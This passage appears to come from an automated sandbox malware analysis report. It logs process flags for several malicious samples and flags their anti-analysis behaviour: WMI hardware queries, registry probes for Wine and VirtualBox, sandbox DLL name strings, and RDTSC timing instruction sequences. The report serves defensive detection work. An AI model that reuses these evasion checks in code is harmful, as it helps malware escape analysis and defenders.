Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLZOOPOIMC:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGSVCS.EXEVMTOOLSD.DLLCMDVRT32.DLLHARRY JOHNSONADMINISTRATOR
Source: espartu.exe, 00000021.00000002.4375632738.0000000000BBC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLZOOPOIMMWWGYFCHDHJUBQGGFXGLCTTJMDOPTVJVVXYFGYTDOLCHYCBYHQMROOTTSVMTOOLSD.DLLCMDVRT32.DLLHARRY JOHNSONADMINISTRATOR\|
Source: espartu.exe, 00000027.00000002.4076259326.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL#
Source: espartu.exe, 00000020.00000002.3902705795.00000000008FC000.00000004.00000010.00020000.00000000.sdmp, espartu.exe, 00000021.00000002.4375632738.0000000000BBC000.00000004.00000010.00020000.00000000.sdmp, espartu.exe, 00000021.00000002.4376491967.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp, espartu.exe, 00000027.00000002.4074861914.00000000008DC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: ZharkBOT.exe, 0000001D.00000002.3902836498.00000000003B9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 0SBIEDLL.DLL
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002F60000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\]Q
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002F60000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE`,]Q
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002F60000.00000004.00000800.00020000.00000000.sdmp, see.exe, 0000001C.00000002.3876408152.00000000027FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: ZharkBOT.exe, 0000001D.00000002.3902836498.00000000003B9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ;0SBIEDLL.DLLZOOPOIMMWWGYFCHDHJUBQGGFXGLCTTJMDOPTVJVVXYFGYTDOLCHYCBYHQMROOTTSVMTOOLSD.DLLCMDVRT32.DLLHARRY JOHNSONADMINISTRATOR\|
Source: espartu.exe, 00000020.00000002.3902705795.00000000008FC000.00000004.00000010.00020000.00000000.sdmp, espartu.exe, 00000027.00000002.4074861914.00000000008DC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLZOOPOIMMWWGYFCHDHJUBQGGFXGLCTTJMDOPTVJVVXYFGYTDOLCHYCBYHQMROOTTSVMTOOLSD.DLLCMDVRT32.DLLHARRY JOHNSONADMINISTRATOR

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 11F2F8 second address: 11F319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8080FFFC67h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 292D98 second address: 292DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8080B8A776h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 2981B3 second address: 2981BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29862A second address: 29864A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080B8A787h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29864A second address: 298650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 298650 second address: 298654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 298654 second address: 29865A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29865A second address: 298660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 298660 second address: 298664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B745 second address: 29B77C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8080B8A786h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B77C second address: 29B798 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d js 00007F8080FFFC56h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F8080FFFC56h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	RDTSC instruction interceptor: First address: 29B798 second address: 29B79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
